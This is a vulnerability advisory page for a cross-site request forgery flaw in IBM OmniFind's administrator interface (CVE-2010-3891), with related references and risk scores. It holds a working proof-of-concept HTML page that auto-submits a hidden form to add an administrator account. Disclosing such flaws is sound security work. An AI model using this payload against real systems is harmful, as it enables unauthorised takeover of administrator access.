IBM OmniFind - Cross-Site Request Forgery

🗓️ 09 Nov 2010 00:00:00Reported by Fatih KilicType

IBM OmniFind XSRF vulnerability enables malicious website to add admin use

Reporter	Title	Published	Views	Family All 8
CVE	CVE-2010-3891	12 Nov 201020:00	–	cve
Cvelist	CVE-2010-3891	12 Nov 201020:00	–	cvelist
EUVD	EUVD-2010-3869	7 Oct 202500:30	–	euvd
NVD	CVE-2010-3891	12 Nov 201021:00	–	nvd
Packet Storm	IBM OmniFind Cross Site Scripting / Privilege Escalation	10 Nov 201000:00	–	packetstorm
Prion	Cross site request forgery (csrf)	12 Nov 201021:00	–	prion
securityvulns	IBM OmniFind - several vulnerabilities	18 Nov 201000:00	–	securityvulns
securityvulns	Web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)	18 Nov 201000:00	–	securityvulns

The forms in the administrator interface are not protected against XSRF. The
attacker can do any action in the context of the victim.

An example attack scenario could be:
The attacker creates a malicious website with a prepared form to add a new
user, which will be submitted on load.


Exploit to add an admin user:
<html>
  <head><title>Some seemingly benign web-site</title></head>
  <body onLoad="document.forms[0].submit();">

    <form method="post"
  action="http://omnifind-host/ESAdmin/security.do">
      <input type="hidden" name="command" value="saveNewUser"/>
      <input type="hidden" name="user.name" value="joemueller"/>
      <input type="hidden" name="user.role" value="0"/>
      <input type="hidden" name="user.allCollections" value="true"/>
      <input type="hidden" name="apply" value="OK"/>
    </form>
  </body>
</html>

09 Nov 2010 00:00Current

5.2Medium risk

Vulners AI Score5.2

CVSS 26.8

EPSS0.01143